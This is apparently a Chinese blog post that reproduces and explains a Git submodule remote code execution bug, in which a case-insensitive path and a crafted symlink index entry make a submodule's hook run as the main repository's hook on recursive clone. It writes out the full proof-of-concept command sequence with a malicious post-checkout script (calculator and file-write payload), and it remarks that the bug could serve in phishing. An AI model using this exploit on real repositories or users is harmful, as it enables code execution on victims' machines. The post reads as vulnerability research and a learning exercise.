参考文章
原文:https://amalmurali.me/posts/git-rce/
https://forum.butian.net/share/3040
https://xz.aliyun.com/t/14597
概述
Git更新内容,开发人员提供了漏洞验证poc。
原文有大佬分析过程,这里只说一下大概的推测。git可以通过--recursive
递归加载子模块,包含了子模块钩子脚本,如果添加索引的时候对路径做一些变化,在特定系统下会把子模块的钩子脚本当成主仓库的钩子脚本执行。如果主仓库是被信任的,子模块未必,就会造成rce。
复现
跟着poc走,分别创建了两个仓库hook和captain
#初始化hook仓库
git init hook
cd hook
mkdir -p y/hooks
#写入恶意代码到y/hooks/post-checkout中
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
#给钩子脚本添加权限
chmod +x y/hooks/post-checkout
#添加到本地仓库
git add y/hooks/post-checkout
git commit -m "post-checkout"
复现的时候我把仓库直接发到远程了
git push .
创建第主仓库并把刚才push的hook仓库作为子模块加进来
git init captain
cd captain
#直接加载远程仓库的子模块省事很多,不然还要改.gitmodule
git submodule add --name x/y http://github.com/kjdfklha/hook.git A/modules/x
git commit -m "add-submodule"
添加进来之后添加错误的索引
printf ".git" > a
git hash-object -w --stdin < a > a.hash
printf "120000 %s 0\ta\n" "$(cat a.hash)" > index.info
git update-index --index-info < index.info
#这里有个坑,主仓库索引配置好之后不能git add .,只能git add .gitmodule
#如果git add .发到远程仓库的a文件会直接把钩子脚本的内容加载过来,而不是.git,参考下图
git commit -m "add-symlink"
到这里基本上就结束了,通过payload可以看到写在钩子脚本中的calc.exe被执行了
git clone --recursive https://github.com/kjdfklha/captain.git hooked
原理分析
看了好几篇文章都没太把原理看明白,个人总结,如果有错误请师傅指出
Linux下加载子模块的时候的路径是A/modules/x
,也就是会把hook的钩子脚本放到该路径下
在Windows下,由于不区分大小写,会把子模块的钩子脚本放到a/modules/x
,由于构造了恶意索引,a指向的实际上是主仓库的.git目录,也就是子模块的钩子脚本被拿来当作主仓库的钩子脚本执行了
总结
这个漏洞虽然是rce,但是有利用门槛,需要使用递归--recersive
,并且据说需要管理员权限。但是如果社工得当,或者在一些必要递归克隆,并且代码确实需要administrator权限运行的情况下拿来钓鱼也未尝不可。
从来没用github上传过属于自己的代码,只有下载,只会使用git clone
,经过对这个漏洞的分析,对github使用有了一定程度的了解。
水平不行,原文大佬从审计git源码,到复现也就花了半个小时,我却花了两天,还需要多多努力。